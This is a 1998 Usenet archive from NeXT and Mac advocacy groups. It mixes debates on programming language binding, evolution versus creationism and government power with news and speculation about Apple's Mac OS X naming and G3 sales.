trying to find one. It's all too easy to look and see something that is
kind black hole-ish and claim it is a black hole, when in fact it might be
something totally new and unpredicted.
Assuming that it is a black hole, around it might be all manner of
interesting things that nobody ever attempted to predict, and then they
get to change roles, present new problems and ask for explanations.
>I don't think it is always the disbelieving experimentalist seeking
>to shoot down a prediction; rather it is the skeptical experimentalist
>who works very hard to get all bias out of the experiment.
Sure, that's not the only role. But if we look at the presentation of a
theory and the immediate role of the experimentalist toward
proving/refuting that theory, I think the appropriate role is to be the
disbelieving experimentalist. Then there is verification of other
experiments (where you are asked to disbelieve not only the theory but the
other guys work, and remove bias, and so on), there is ongoing work into
increasing accuracy of measurements (like the observed charge of an
electron), etc.
>Also, not being able to verify a prediction doesn't always kill the
>theory -- supersymmetry is still alive though lacking any experimental
>signature; and I think it took several improvements on the original
>proton-decay experiments before the first grand-unified theory based
>on SU(5) was finally ruled out.
Lack of verification keeps a theory in a certain state. If, however, after
those improvements are made to a degree that the scientists are
collectively satisfied with and there is _still_ no verification, then the
theory is in trouble. There's nobody out there saying you can't take _yet_
another stab at it. So there is this give and take between the two
parties, which is wonderful, but the amount of evidence needed to
ultimately tip the scales one way or another is often very small, and a
theory never is every proven or disproven but some shade in the middle. Of
course, physics is also very clean. Evidence needed for something like CFC
damage to the ozone layer is considerable greater if only because of the
complexity of the environment being tested.
-Bob Cassidy
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
From: lars.farm@ite.mh.se (Lars Farm)
Message-ID: <1dbvg8o.1tm9ik21xo5f28N@dialup158-4-7.swipnet.se>
References: <6moqam$4os$1@nnrp1.dejanews.com> <359011E4.C8A51B95@cisco.com> <6n08oi$rrs$1@nnrp1.dejanews.com> <6mvtgs$hnm$3@ns3.vrx.net> <6n0mol$sh2$1@flotsam.uits.indiana.edu> <6n0ap7$r0e$1@ns3.vrx.net> <6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net> <6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net> <6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net> <6nabot$r2h$4@ns3.vrx.net> <3599148B.1B14@exu.ericsson.se> <6nakg1$r2h$15@ns3.vrx.net> <3599ABC7.30BCAA96@nstar.net> <6ncfe6$iti$1@lwnws01.ne.highway1.com> <3599CE93.4E70D0C1@nstar.net> <6nda93$ln8$10@ns3.vrx.net> <359A896A.3805E57E@exu.ericsson.se> <6ndi4u$ejq$1@ns3.vrx.net> <359A9A36.C215C64F@exu.ericsson.se> <6nfl29$46q$1@ns3.vrx.net> <359BA018.8432F96A@nstar.net> <6ngagb$vb53@onews.collins.rockwell.com> <359BD1BD.36CA316B@exu.ericsson.se> <6ng4m2$g0n$1@ns3.vrx.net> <1dbl8ut.1f4p7iv11unjiN@dialup116-3-50.swipnet.se> <6o0drr$32e4@onews.collins.rockwell.com>
Organization: pv
Date: Wed, 08 Jul 1998 21:52:04 GMT
NNTP-Posting-Date: Wed, 08 Jul 1998 23:52:04 MET DST
Erik M. Buck <embuck@palmer.cca.rockwell.com> wrote:
>In <1dbl8ut.1f4p7iv11unjiN@dialup116-3-50.swipnet.se> Lars Farm wrote:
>>
>> - A callback is a pointer to a function.
>> - A ST (or ObjC) method is a pointer to a function.
>> - A C++ virtual member function is a pointer to a function.
>>
>> They're all the same. In all three cases the actual function to
>> call is determined dynamically at runtime - dynamic binding. The
>> difference is in how to find the address of the function.
>>
>All of the above represent dynamic binding. The distinction is
>primarily the technique used to do the binding and the time at which
>things are bound. The time is critical!
Not really. I was trying to explain dynamic binding using manual
call-backs as model since callbacks were mentioned earlier. You're
talking about something else: When (or if at all) proper and consistent
use of types is checked. Strong static typing vs weak runtime type
checks. Another language property.
>The C++ virtual function is not identical to the ST or Objective-C
>message and it has nothing to do with the amount of available
>information.
The amount of information available has everything to do with it. First
a small detail: v-tables is a common and efficient implementation
technique of C++ dynamic binding, but it is only that. There is no such
thing as a v-table in the language spec. Dynamic binding is in the spec
and it can be correctly implemented in many other ways.
The difference between ST/ObjC/Lisp/... on one side and C++/Eiffel/...
on the other that you're talking about is strong static typing vs weak
runtime typing. Static typing makes it illegal to call an incompatible
method even though neither the compiler nor the linker needs to know
exactly which function will be called at runtime. The actual binding is
done at runtime.
A dynamic language doesn't have that information available. The compiler
can not verify that the message/call is correct and compatible. Not even
at runtime can it be verified that you actually call a compatible method
or even that the method you expect actually exists.
This lack of type-safety can be perceived as an advantage because you
can do weird (but potentially usefull) things and the compiler wont
complain. It can't complain because it is unable to detect the problem.
Just as weird C-style type-casts or type-free assembler can be perceived
as freedom in some cases.
The lack of type safety can also backfire. It puts all the burdon of
consistency checks on the programmer. When systems grow large and old it
is good to get help from the compiler. Compiler says to programmer
trying to do something stupid: - "incompatible message" and refuses to
compile the code. This can and will find many silly mistakes and also
serious design errors that a dynamic language would defer to runtime or
a later revision of the code next year. ST/ObjC-end-user eventually sees
error message: "Sorry, i can't do that" when the above mentioned search
for actual function to call fails.
--
Lars Farm; lars.farm@ite.mh.se - Limt/Channelmatic: lars.farm@limt.se
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Free (Microsoft Delays Win NT)
Date: Wed, 08 Jul 1998 18:21:27 -0500
Organization: Ericsson North America Inc.
Message-ID: <35A3FEF7.C7EFE9F7@ericsson.com>
References: <359A90F9.A546707D@alum.mit.edu> <359A9359.984C1A9D@exu.ericsson.se> <6ne590$238@shelob.afs.com> <359AA759.223E97B4@exu.ericsson.se> <6neblu$2hd@shelob.afs.com> <359B23CC.8672B274@trilithon.com> <joe.ragosta-0207980828430001@wil46.dol.net> <359B92BB.8BCF78CC@nstar.net> <joe.ragosta-0207981153310001@wil55.dol.net> <359BB732.66127BE@exu.ericsson.se> <joe.ragosta-0207981315530001@wil82.dol.net> <359BF904.AB972774@exu.ericsson.se> <joe.ragosta-0207981946550001@elk59.dol.net> <6nisor$hs6$1@camel21.mindspring.com> <slrn6prd12.ovd.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <359DE494.B5F41988@nstar.net> <1dbndwa.gvcd5ht4ekf6N@hoorn17.multiweb.net> <359E65C0.77C48BC9@nstar.net> <35a29bca.10515777@news.hex.net> <35A2A96A.4C492F62@ericsson.com> <slrn6q7u9p.j00.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
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Matt Kennel wrote:
> What it demonstrates is that an algorithm with boring,
Boring? This is supposed to be meaningful in a discussion of algorithms?
> unsophisticated,
Again, what?
> unthinking
The parade of meaningless adjectives is impressive, I must admit. What
would a "thinking algorithm" look like?
> deterministic
As opposed to a non-deterministic algorithm?
> microdynamics
This is probably my favorite. What are "microdynamics" in the context of
a genetic algorithm? Do they stand in contrast to "macrodynamics"?
Perhaps microdynamics are the opposites of micro-states?
> without any
> built-in concept of order or understanding,
Really, I'm not trying to come off like a jerk. I'm just trying to get
my head around what all of this means, and I don't grasp how algorithms
can have "built-in concept[s] of order or understanding", except that by
definition algorithms are ordered procedures (I suppose that's one way
of looking at it). What exactly did you mean?
> may indeed generate
> spontaneous and remarkably sophisticated solutions; solutions which to
> the naive would imply a genius designer.
Like a Mandelbrot series, perhaps? Aha, order rises from chaos, and
fractals prove it!
No, I don't think so.
> Wow. The claim that evolution was not a fundamentally new concept in
> science is like claiming that Newtonian mechanics is not any more advanced
> than cave-man mechanics. (Before Galileo and Newton, that's all there
> really was).
Cave-man mechanics. Since you don't exactly define what you mean, the
parallel is impossible to grasp from where I stand. At any rate, Galileo
and Newton were able to prove that their models predicted real-world
behavior; has evolution done the same? No, and in fact, most of the last
century's attempts to do so have been embarassing failures.
Nevertheless, the concept of the mutability of species has been easy for
the public to understand and accept, and "science" is riding this bull
all the way to market.
> The reality is that these two have been the most remarkable, potent
> and profound scientific discoveries in the history of the human species.
Ah! Now evolution is "discovery". Interesting how scientific ego can
bend reality, shaping "theory" into "discovery" in a few short decades.
It certainly has been important, whatever it is; it's kept government
grant money available for years. You think government would be paying
you guys if your theories kept changing? Doubtful.
MJP
Subject: Re: Microsoft Delays Win NT
Newsgroups: comp.sys.next.advocacy
References: <359A90F9.A546707D@alum.mit.edu> <6o0egj$nqg$1@news.spacelab.net> <rmcassid-0807981158550001@dante.eng.uci.edu> <35A3D7D2.102B8996@ericsson.com> <6o0pij$mj5$1@camel21.mindspring.com>
In-Reply-To: <6o0pij$mj5$1@camel21.mindspring.com>
From: not@my.address.net
Message-ID: <RITo1.2948$24.17168397@news.itd.umich.edu>
Date: Wed, 08 Jul 1998 23:58:41 GMT
NNTP-Posting-Date: Wed, 08 Jul 1998 19:58:41 EDT
On 07/08/98, Matthew Cromer wrote:
... quoting me ...
>>Question stands: If millions have been killed by their own governments this
>>century, and this is the basis of your rational fear of the government, what
>>steps are you going to take to protect yourself?
>
>Why, that would be none of your d&*n business.
You claim to have a rational fear that the government will murder you. And you
are being extremely cagey about how you intend to "protect" yourself. You'll
forgive my interest. I might know some children in daycare in a federal
building near you.
>>>
>>>BTW, over 100 million people have been killed by their own governments
>>>this century. Far more than have been killed by enemy governments in
>>>war, far more than have been killed by private individuals.
>>>
>>
>>How many of those were killed by their own democratic government?
>
>Nazi Germany's victims for starters.
>
>Lots of others.
Nazi Germany wasn't a democracy. Perhaps if you tell me which democratic
governments you think murdered "lots of others" we can evaluate that claim as
well. Then we might be able to get somethwere when we talk about paranoia.
--
invert: umich.edu jdevlin
insert: shift "2"
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOSX == Rhapsody
Date: Wed, 8 Jul 1998 18:55:34 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6o1109$j1k1@odie.mcleod.net>
References: <6o0fib$kb1$1@lwnws01.ne.highway1.com> <6o0pqm$1s9$1@scapa.cs.ualberta.ca>
Jean-Paul Samson wrote in message <6o0pqm$1s9$1@scapa.cs.ualberta.ca>...
>On 07/08/98, John Kheit wrote:
>>Well in reading through all the expo news everywhere it seems that
>>Rhapsody will be called MacOSX.
>
>Well, more specifically I've heard that it'll be called Mac OS X
>Server. (It's cool, in the sense that it is an admission that
>Mac OS X really is Rhapsody. On the downside... what a boring
>name! :-))
>
>Jean-Paul
>
Ken Bereskin, Director of OS Technology, Apple Computer, gave a very
interesting interview to Dr. Dobb's today. I am now even more depressed. I
will leave it up to net wisdom to decide if YellowBox can now be considered
completely dead.
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Free (Microsoft Delays Win NT)
Date: Wed, 08 Jul 1998 18:59:56 -0500
Organization: Ericsson North America Inc.
Message-ID: <35A407FC.2184A3B4@ericsson.com>
References: <359A90F9.A546707D@alum.mit.edu> <359A9359.984C1A9D@exu.ericsson.se> <6ne590$238@shelob.afs.com> <359AA759.223E97B4@exu.ericsson.se> <6neblu$2hd@shelob.afs.com> <359B23CC.8672B274@trilithon.com> <joe.ragosta-0207980828430001@wil46.dol.net> <359B92BB.8BCF78CC@nstar.net> <joe.ragosta-0207981153310001@wil55.dol.net> <359BB732.66127BE@exu.ericsson.se> <joe.ragosta-0207981315530001@wil82.dol.net> <359BF904.AB972774@exu.ericsson.se> <joe.ragosta-0207981946550001@elk59.dol.net> <6nisor$hs6$1@camel21.mindspring.com> <slrn6prd12.ovd.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <359DE494.B5F41988@nstar.net> <1dbndwa.gvcd5ht4ekf6N@hoorn17.multiweb.net> <359E65C0.77C48BC9@nstar.net> <6nrjao$bnb$1@news.spacelab.net> <35A18478.E8BE0DFD@nstar.net> <6o0b9j$nij$1@news.spacelab.net>
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Charles W. Swiger wrote:
> Not precisely. A point subject to proof is one that is testable, refutable,
> and verifiable. A point that does not exhibit these qualities is not
> provable, and is thus in the domain of personal opinion.
I don't get this. What does subjectivity to proof have to do with what
we're talking about? Do you claim that anything can be proven? If so,
what?
You spent a lot of hot air on this, responding with this "subjectivity
to proof" excuse to nearly all of my questions. If you can demonstrate
proof for evolution that will place it within "reason" and divide it
from "religion", I would like to see it, thank you.
Don't snip! Don't cut, don't waste any time. Show me the proof. Test,
refute, verify. Not that the previous list is in any way simultaneously
possible, or anything. I'd like to see this feat.
> Why bother? I don't need to prove my own existence. It's self-evident.
Oh, I see...
> Ah, so many fallacies in one short paragraph. The primary one is that
> someone being rational presumes their own infallibility, which is
> sterotypical misrepresentation of science that the religious folk always
> bring up.
No, Chuck; if you are rational and your evidence is sound, you are
infallible. The only recourse, should a rational being act or conclude
improperly, is to assume that his evidence was unsound. How do you plea?
> Compare and contrast the proposition "the human mind was created, as was the
> body" with "there are no coelacanths".
>
> The latter proposition is subject to proof, and in fact _was_ refuted by
> deep-sea explorations.
You are creating a false distinction; I assume you have never seen a
living coelacanth. Please answer, Chuck, whether you have ever seen a
living coelacanth. If you have other evidence (besides hearsay) to
account for the existence of living coelacanths, please provide it here:
______________________________________________________
> Is there any way to refute the first proposition?
> Can you tell me of any way that you would acknowledge the proposition to be
> untrue?
My position has been that the existence of a Creator is made plain in
irrefutable evidence through his very Creation, in which we, ourselves,
exist. No, you cannot provide evidence which I would consider to refute
the first proposition, if only because I do not believe you will be able
to provide evidence that the Creation does not exist!
If you were not created, Chuck, whence came you?
> > So, in essence, it's your God against mine. Semantically speaking, this
> > is highly objectionable to the Rationalist, but it's true, nevertheless.
>
> The process of reason and scientific method never makes the claim that it
> knows all the answers, unlike religion.
Christianity does not claim to "know all the answers". Christianity
contains a set of presuppositions, which themselves are true, and from
which our understanding of Truth can be derived. Truth, itself, is
subject neither to our presuppositions nor to our derivations; Truth is
subject to the God from whom it flows -- as it must, if God is indeed
infinite.
And what, besides an infinite God, could perform creatio ex nihilo (see,
I got a little Latin in there, myself), the only act that could result
in the Creation in which we participate?
> It's continuous process of
> accumulating, testing, and refining knowledge.
The same could be applied to doctrinal studies. Science has no monopoly
on reason, I assure you, Chuck, nor did its students ever think so,
prior to the postmodern philosophers held in high regard nowadays. I am
a computer scientist and a Christian; think you that I must toggle some
"reason switch" as I walk into the office every day? It is the Faith of
Science that I find unreasonable, for it cannot even explain the
existence of Man or of anything at all, yet it claims to know that Man
exists...all theory becomes an uninteresting exercise in mental
masturbation thereafter.
> Not at all. The Rationalist requires that any proposition be testable,
> refutable, and verifiable in order to consider it to be "truth".
Testable: isn't that sort of a way of saying "refutable or verifiable,
but not neither, and not both"? It must, because I know what a test is,
and I know that you cannot simultaneously refute and verify a claim
through testing. All in all, your definition of "truth" has got me
thoroughly mixed up.
> A
> proposition that cannot be tested may or may not true, and "revealed truth"
> falls into that category.
What are the qualifications of testability? If I may test a thing for
any hint of truth, have I shown it to be true (we sometimes call this
"proof", by the way; didn't you claim "proof" was impossible?)? Or do
you say that a claim may be *completely* testable?
> I wonder who holds that position? It's certainly not a Rationalist one;
> Rationalists don't confuse a lack of proof with a negative assertion.
No, not the purists, certainly not! I believe I've heard of such
defenses before; yes, wasn't it Communism? The more things change...
> > All true; the point, in fact, is that the act of observation, as far as
> > we know it, is also an act of interference. The thus obsoleted notion
> > that eyesight is a physically inconsequential act notwithstanding, how
> > does this affect the existence of God?
>
> It has no bearing.
Correct.
> > In other words, the concept of uncertainty within creation and the
> > existence of a Creator without are incompatible?
>
> Nope.
Correct.
> However, either this proposed Creator is intervening-- and intervening at the
> most detailed level in very precise ways because the consequences of tiny
> changes at the subatomic level have macrosopic effects on the experimental
> results and the development of human knowledge-- or he is not intervening at
> all.
Correct. God is, in fact, infinitely intervening. Being infinite, He
cannot do otherwise. The Deist's concept of an infinite God who
nevertheless ignores His Creation is impossible to reconcile.
> That behavior, where very small changes have large consequences is called the
> butterfly effect and has been explored by aspects of chaos theory.
Chaos theory, of course, results from the acknowledgement of infinite
complexity -- or, at least, sufficient complexity that it is hopeless to
simplify it and so to predict it -- in Creation. The butterfly flapping
its wings in wherever, the resulting barometric difficulties, etc., all
describe a chain of events too complex to be completely appreciated or
manipulated by Man.
> Older
> versions of the same notion were captured in the story, "for want of a
> nail...the kingdom was lost"
From a human perspective. From the perspective of the Creator,
everything that happens is according to the order He Himself
established.
MJP
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: The mac is BACK!
Date: Wed, 08 Jul 1998 13:35:49 -0700
Organization: Great till Apple got rid of the newton
Message-ID: <macghod-0807981335490001@sdn-ar-001casbarp101.dialsprint.net>
FIrst, apple had a profitable first quarter. DId I jump up and down?
Nope. Its only one quarter, big deal. Then, Apple had a second
consequitive profitable quarter. This time I was a bit more optimistic.
"just string one or 2 more profitable quarters".
Steve was able to say that the third quarter
will indeed be a profitable one for Apple;
however, to avoid having his head cut off (his
words) by Apple's CFO, Fred Anderson, he
was not able to say by how much.
And I think their was even a announcement about a name change for cr1 that
may make the Nextians a tiny bit happier.
--
So many pedestrians, so little time.
From: "Zico" <ZicoKnows@hotmail.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Wed, 8 Jul 1998 20:54:21 -0400
Organization: ISPNews http://ispnews.com
Message-ID: <6o14ca$b2i$1@news12.ispnews.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com>
NNTP-Posting-Date: 9 Jul 1998 00:54:34 GMT
x-no-archive: yes
aa158@valleynet.on.ca wrote:
>From the July 8 Macintouch:
>
>" Jobs also noted the following...
>
>750,000 G3 systems, including tens of thousands of PowerBook G3's, have been
>sold."
>
>Comment: This would seem to be a strong incentive for Apple to get OS X
>running on machines other than just the G3 models.
Yeah, but you're thinking like a customer, not a business. The
business thinking (whether right or wrong) is, "Q: How do we
sell more than 'only 750,000' G3 computers? A: Make people
using older ones have to buy a new one to use the new OS
that we'll be hyping heavily." Since Apple makes a lot more
money selling the hardware than OS upgrades, the economics
say that they have more to gain by getting those older users
to buy a G3 than they stand to lose by not making 50 bucks
on each OS X upgrade sale to non-G3 Mac users.
Z
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: Thu, 09 Jul 1998 01:01:54 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <35A41682.CA191009@nstar.net>
References: <359A90F9.A546707D@alum.mit.edu> <6o0egj$nqg$1@news.spacelab.net> <rmcassid-0807981158550001@dante.eng.uci.edu> <35A3D7D2.102B8996@ericsson.com> <6o0pij$mj5$1@camel21.mindspring.com> <RITo1.2948$24.17168397@news.itd.umich.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 9 Jul 1998 01:07:11 GMT
not@my.address.net wrote:
...quoting Matthew Cromer...
> >Why, that would be none of your d&*n business.
>
> You claim to have a rational fear that the government will murder you. And you
> are being extremely cagey about how you intend to "protect" yourself. You'll
> forgive my interest. I might know some children in daycare in a federal
> building near you.
That's funny; a man claims to be opposed to government in principle and
declines to answer silly questions to a stranger on USENET. Sufficient
evidence, I am sure, to arouse suspicion of...well, Mr Devlin doesn't
exactly say what he's afraid of. He leaves the inference open to
interpretation; one assumes that he is being modest since he has no
reason whatsoever to describe any suspicion.
How cowardly. How sickening.
> >Nazi Germany's victims for starters.
> >
> >Lots of others.
>
> Nazi Germany wasn't a democracy.
Hmmmm? The Weimar Republic was the government under which the Nazi
regime was *elected* into power.
> Perhaps if you tell me which democratic
> governments you think murdered "lots of others" we can evaluate that claim as
> well.
You could start with my examples. Hit DejaNews; it's at the same level
in the thread as the Cromer post to which you responded.
> Then we might be able to get somethwere when we talk about paranoia.
Paranoia?
<quote>
> And you
> are being extremely cagey about how you intend to "protect" yourself. You'll
> forgive my interest. I might know some children in daycare in a federal
> building near you.
</quote>
[laugh] Fear of an faceless fellow citizen who has demonstrated no evil
intent whatsoever? Forgive me, I find you to be a funny man. Paranoia,
indeed!
MJP
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Thu, 09 Jul 1998 01:03:16 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <35A416D4.EEEB1915@nstar.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6o14ca$b2i$1@news12.ispnews.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 9 Jul 1998 01:08:34 GMT
Zico wrote:
> Yeah, but you're thinking like a customer, not a business. The
> business thinking (whether right or wrong) is, "Q: How do we
> sell more than 'only 750,000' G3 computers? A: Make people
> using older ones have to buy a new one to use the new OS
> that we'll be hyping heavily." Since Apple makes a lot more
> money selling the hardware than OS upgrades, the economics
> say that they have more to gain by getting those older users
> to buy a G3 than they stand to lose by not making 50 bucks
> on each OS X upgrade sale to non-G3 Mac users.
But that only makes sense if you're still stuck on the outdated notion
of selling proprietary hardware, not operating systems. Oh, wait, what
am I thinking?
MJP
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Free (Microsoft Delays Win NT)
Date: 9 Jul 1998 01:08:37 GMT
Organization: University of California at San Diego
Message-ID: <slrn6q860k.j00.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <359A90F9.A546707D@alum.mit.edu> <359A9359.984C1A9D@exu.ericsson.se> <6ne590$238@shelob.afs.com> <359AA759.223E97B4@exu.ericsson.se> <6neblu$2hd@shelob.afs.com> <359B23CC.8672B274@trilithon.com> <joe.ragosta-0207980828430001@wil46.dol.net> <359B92BB.8BCF78CC@nstar.net> <joe.ragosta-0207981153310001@wil55.dol.net> <359BB732.66127BE@exu.ericsson.se> <joe.ragosta-0207981315530001@wil82.dol.net> <359BF904.AB972774@exu.ericsson.se> <joe.ragosta-0207981946550001@elk59.dol.net> <6nisor$hs6$1@camel21.mindspring.com> <slrn6prd12.ovd.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <359DE494.B5F41988@nstar.net> <1dbndwa.gvcd5ht4ekf6N@hoorn17.multiweb.net> <359E65C0.77C48BC9@nstar.net> <35a29bca.10515777@news.hex.net> <35A2A96A.4C492F62@ericsson.com> <slrn6q7u9p.j00.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35A3FEF7.C7EFE9F7@ericsson.com>
On Wed, 08 Jul 1998 18:21:27 -0500, Michael Peck wrote:
:> without any
:> built-in concept of order or understanding,
:
:Really, I'm not trying to come off like a jerk. I'm just trying to get
:my head around what all of this means, and I don't grasp how algorithms
:can have "built-in concept[s] of order or understanding", except that by
:definition algorithms are ordered procedures (I suppose that's one way
:of looking at it). What exactly did you mean?
Simple local laws may intrinsically produce structures of surprising
and astonishing general complexity, which some people might claim
require "transcendent order" or intelligent design.
:> may indeed generate
:> spontaneous and remarkably sophisticated solutions; solutions which to
:> the naive would imply a genius designer.
:
:Like a Mandelbrot series, perhaps? Aha, order rises from chaos, and
:fractals prove it!
:
:No, I don't think so.
Mandelbrot has nothing to do with it. The original poster, describing an
experience with genetic algorithms does demonstrate it.
:> Wow. The claim that evolution was not a fundamentally new concept in
:> science is like claiming that Newtonian mechanics is not any more advanced
:> than cave-man mechanics. (Before Galileo and Newton, that's all there
:> really was).
:
:Cave-man mechanics. Since you don't exactly define what you mean, the
:parallel is impossible to grasp from where I stand.
Mechanical behavior that everyday people saw, touched and felt. It induced
ideas which turned out to be wrong for subtle and very interesting reasons.
: At any rate, Galileo
:and Newton were able to prove that their models predicted real-world
:behavior; has evolution done the same? No, and in fact, most of the last
:century's attempts to do so have been embarassing failures.
I don't know any. Evolutionary theory and concepts is the most useful
predictive concept in biology; many non-trivial and subtle consequences
have been observed, and observed often after unusual, difficult and
specific and careful experiments.
:Nevertheless, the concept of the mutability of species has been easy for
:the public to understand and accept,
The historical resistance to evolution belies this.
:and "science" is riding this bull
:all the way to market.
Yes. This bull knows how to pull.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: forrestDELETE-THIS!@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Those 2 guys are such the jokesters!
Message-ID: <forrestDELETE-THIS!-0807981819220001@term1-2.vta.west.net>
References: <macghod-0807981351080001@sdn-ar-001casbarp101.dialsprint.net>
Organization: Obsidian Design / Static Dreams Interactive
Date: Thu, 09 Jul 1998 01:20:10 GMT
NNTP-Posting-Date: Wed, 08 Jul 1998 18:20:10 PDT
In article <macghod-0807981351080001@sdn-ar-001casbarp101.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
> Macintosh OS X, due out third quarter of 1999, was announced today to not
> be Year 2000 compliant.
>
> From macosrumors.com. This is a joke right?
No, it's not. And neither are any of the other two news items at the
bottom of that page (I don't recall what they were, but they were
similar). This post, however, is. :)
--
-Forrest Cameranesi
Owner of The Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to change. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember:
"We know what you want. We know what you need. We know where you live."
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Loose end
Date: 9 Jul 1998 01:25:58 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6o1676$hfk@newsb.netnews.att.com>
Originator: gupta@tlctest
Regarding the distribution of wealth in the US, circa 1992 :
http://research.mpls.frb.fed.us/research/qr/qr2121.pdf
lowest fifth : 0.39% of the total
second fifth : 1.74%
third fifth : 5.72%
fourth fifth : 13.43%
top fifth : 79.49%
The above reference also discusses income and earnings distributions.
***
-arun gupta
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOSX == Rhapsody
Date: 9 Jul 1998 01:54:35 GMT
Organization: Michigan State University
Message-ID: <6o17sr$52q$1@msunews.cl.msu.edu>
References: <6o0fib$kb1$1@lwnws01.ne.highway1.com> <6o0pqm$1s9$1@scapa.cs.ualberta.ca>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: jsamson@istar.ca
In <6o0pqm$1s9$1@scapa.cs.ualberta.ca> Jean-Paul Samson wrote:
> On 07/08/98, John Kheit wrote:
> >Well in reading through all the expo news everywhere it seems that
> >Rhapsody will be called MacOSX.
>
> Well, more specifically I've heard that it'll be called Mac OS X
> Server. (It's cool, in the sense that it is an admission that
> Mac OS X really is Rhapsody. On the downside... what a boring
> name! :-))
>
> Jean-Paul
When I heard this I got all excited - search dejanews for
"MacOS X Server" (on all newsgroups) and see who turns up
first (make sure to use the quotes otherwise you'll get all kinds
of stuff) on 6/20/98 :)
On the Rhaptel
http://www.of.org/rhaptel/archives/
archives search for [rhaptel] Activity? Chris Alemany to see his
comments about a question he posed to Avie Tevennian (sorry
about spelling). I requote:
>I just went back and listened to the archived audio on that broadcast
to
>get the quote from Avie on my question. Here's how it went:
>
>Question asked: Is there any new word on Rhapsody for PC Compatibles
>Avie's answer: (This is a direct quote, I checked and rechecked to
make sure)
>
> "Ummm... There's no new word on that. We've been very clear that
>for MacOS X the only plan we have in place is for PowerPC G3 based
>machines. That is where we stand today"
>
>Let the dissection begin;=)
>
>Oh heck, I can't resist, I'll start...
>
>"for MacOS X" that means no port of Carbon. However, that leaves
>everything else out in the open.
>I WILL NOT LOSE FAITH DAMMIT!!! ;=)
Which seems to say that MacOS X Server for PC Compatibles will only
exist
for the 1.0 version and die at the 2.0 version. I reiterate something
I've
been advocating for some time that absolutely must follow the
APPROPRIATE
name change.
That being a restatement of a commitment or non-commitment to MacOS X
Server on PPC AND PC compatibles (even if its a reasonable subset
of hardware).
Apple would be foolish to think that people will buy Mac OS X Server
for PC's (btw MacOS X Server should be bi-fat) to do anything if
they know they will be forced to buy G3 to upgrade to 2.x..
I would say to Apple that if you know you are going to drop PC
support - then reiterate it NOW and not after a person buys MacOS X
Server for their PC. If you knew you were going to drop the PC version
then you made a mistake by changing the name to MacOS X Server.
Why? Because the market will perceive that Apple is pulling back
on Server when User ships (bad sign to anyone who buys Server
for PPC, and terrible to those on PC compatibles)
A final point. If Apple is determined to drop PC support they are
making
a terrible mistake. It is one thing to want to keep your existing
customers
by focusing on PPC support. But it is another to completely alienate
any potential PC sites, corporate, government, MCCA that might
entertain
VAR solution presenters demonstrating a MacOS X Server PC/software
solution that can run on existing PC compatible hardware vs.
proprietary
G3/PPC hardware.
YB is enough to possibly create a standard - and give access to the
MS masses, but it is not enough to get many to PPC. MacOS X on PPC
will be viewed as a WORSE proprietary choice than the proprietary
MS and PC compatible hardware (available from many sources) one..
What seems to be clear to me is that if Apple doesn't even keep the
PC Compatible option open that they don't believe their G3 hardware
will compete on a price/performance basis with Intel. If this is
true then Apple is misleading it's customers, and is making a
terrible mistake by excluding much of the corporate and government
markets and cutting the VARs out of the equation. Fortunately we
will have one OS version to find out.. And Apple will seemingly
optimize for PPC.. Fortunately gcc and g77 compilers will be
available under LInux and MacOS X Server so some basic
speed tests can conducted on intel. And some basic speed info
can be gleaned even if the PC version isn't optimized for Intel
